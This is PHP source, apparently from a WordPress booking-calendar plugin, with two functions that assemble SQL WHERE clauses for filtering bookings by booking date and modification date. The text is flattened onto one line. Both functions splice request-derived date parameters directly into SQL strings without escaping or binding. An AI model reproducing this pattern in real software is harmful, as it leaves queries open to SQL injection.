bookings * * @param string $wh_booking_date - Parameter from Booking Listing request (usually its number) * @param string $wh_booking_date2 - Parameter from Booking Listing request (usually its number) * @param string $pref - Optional. Prefix for table. * @return string - WHERE conditions for SQL */ function wpbc_set_sql_where_for_dates( $wh_booking_date, $wh_booking_date2, $pref = 'dt.' ) { $sql_where= ''; if ($pref == 'dt.') { $and_pre = ' AND '; $and_suf = ''; } else { $and_pre = ''; $and_suf = ' AND '; } // Actual if ( ( ( $wh_booking_date === '' ) && ( $wh_booking_date2 === '' ) ) || ($wh_booking_date === '0') ) { $sql_where = $and_pre."( ".$pref."booking_date >= ( CURDATE() - INTERVAL '00:00:01' HOUR_SECOND ) ) ".$and_suf ; //FixIn: 8.5.2.14 } else if ($wh_booking_date === '1') { // Today //FixIn: 7.1.2.8 $sql_where = $and_pre."( ".$pref."booking_date <= ( CURDATE() + INTERVAL '23:59:59' HOUR_SECOND ) ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date >= ( CURDATE() - INTERVAL '00:00:01' HOUR_SECOND ) ) ".$and_suf ; //FixIn: 8.4.7.21 } else if ($wh_booking_date === '2') { // Previous $sql_where = $and_pre."( ".$pref."booking_date <= ( CURDATE() - INTERVAL '00:00:01' HOUR_SECOND ) ) ".$and_suf ; //FixIn: 8.5.2.16 } else if ($wh_booking_date === '3') { // All $sql_where = ''; } else if ($wh_booking_date === '4') { // Next $sql_where = $and_pre."( ".$pref."booking_date <= ( CURDATE() + INTERVAL ". $wh_booking_date2 . " DAY ) ) ".$and_suf ; // $sql_where .= $and_pre."( ".$pref."booking_date >= ( CURDATE() - INTERVAL 1 DAY ) ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date > ( CURDATE() ) ) ".$and_suf ; //FixIn: 8.0.1.1 } else if ($wh_booking_date === '5') { // Prior $wh_booking_date2 = str_replace('-', '', $wh_booking_date2); $sql_where = $and_pre."( ".$pref."booking_date >= ( CURDATE() - INTERVAL ". $wh_booking_date2 . " DAY ) ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date <= ( CURDATE() + INTERVAL 1 DAY ) ) ".$and_suf ; } else if ($wh_booking_date === '7') { // Check In date - Today/Tomorrow // $sql_where = $and_pre."( ".$pref."booking_date <= ( CURDATE() + INTERVAL '23:59:59' HOUR_SECOND ) ) ".$and_suf ; // $sql_where .= $and_pre."( ".$pref."booking_date >= ( CURDATE() ) ) ".$and_suf ; $sql_where = $and_pre."( ".$pref."booking_date <= ( CURDATE() + INTERVAL '1 23:59:59' DAY_SECOND ) ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date >= ( CURDATE() + INTERVAL 1 DAY ) ) ".$and_suf ; } else if ($wh_booking_date === '8') { // Check Out date - Tomorrow $sql_where = $and_pre."( ".$pref."booking_date <= ( CURDATE() + INTERVAL '1 23:59:59' DAY_SECOND ) ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date >= ( CURDATE() + INTERVAL 1 DAY ) ) ".$and_suf ; } else if ($wh_booking_date === '9') { // Today check in/out $sql_where = $and_pre."( ".$pref."booking_date <= ( CURDATE() + INTERVAL 1 DAY ) ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date >= ( CURDATE() - INTERVAL 1 DAY ) ) ".$and_suf ; } else { // Fixed if ( $wh_booking_date !== '' ) if ( strpos($wh_booking_date,':')===false ) // we are do not have the time in this date, so set it $sql_where.= $and_pre."( ".$pref."booking_date >= '" . $wh_booking_date . " 00:00:00' ) ".$and_suf; else $sql_where.= $and_pre."( ".$pref."booking_date >= '" . $wh_booking_date . "' ) ".$and_suf; if ( $wh_booking_date2 !== '' ) if ( strpos($wh_booking_date2,':')===false ) // we are do not have the time in this date, so set it $sql_where.= $and_pre."( ".$pref."booking_date <= '" . $wh_booking_date2 . " 23:59:59' ) ".$and_suf; else $sql_where.= $and_pre."( ".$pref."booking_date <= '" . $wh_booking_date2 . "' ) ".$and_suf; } return $sql_where; } /** * Get SQL W H E R E conditions for M o d i f i c a t i o n D a t e of bookings * * @param type $wh_modification_date - Parameter from Booking Listing request (usually its number) * @param type $wh_modification_date2 - Parameter from Booking Listing request (usually its number) * @param string $pref - Optional. Prefix for table. * @return string - WHERE conditions for SQL */ function wpbc_set_sql_where_for_modification_date( $wh_modification_date, $wh_modification_date2, $pref = 'bk.' ) { $sql_where = ''; if ($pref == 'bk.') { $and_pre = ' AND '; $and_suf = ''; } else { $and_pre = ''; $and_suf = ' AND '; } if ($wh_modification_date === '1') { // Today $sql_where = $and_pre."( ".$pref."modification_date <= ( CURDATE() + INTERVAL '23:59:59' HOUR_SECOND ) ) ".$and_suf ; //FixIn: 8.4.7.22 $sql_where .= $and_pre."( ".$pref."modification_date >= ( CURDATE() - INTERVAL '00:00:01' HOUR_SECOND ) ) ".$and_suf ; //FixIn: 8.4.7.22 } else if ($wh_modification_date === '3') { // All $sql_where = ''; } else if ($wh_modification_date === '5') { // Prior $wh_modification_date2 = str_replace('-', '', $wh_modification_date2); $sql_where = $and_pre."( ".$pref."modification_date >= ( CURDATE() - INTERVAL ". $wh_modification_date2 . " DAY ) ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."modification_date <= ( CURDATE() + INTERVAL 1 DAY ) ) ".$and_suf ; } else { // Fixed if ( $wh_modification_date !== '' ) $sql_where.= $and_pre."( ".$pref."modification_date >= '" . $wh_modification_date . "' ) ".$and_suf; if ( $wh_modification_date2 !== '' ) $sql_where.= $and_pre."( ".$pref."modification_date <= '" . $wh_modification_date2 . "' ) ".$and_suf; } return $sql_where; }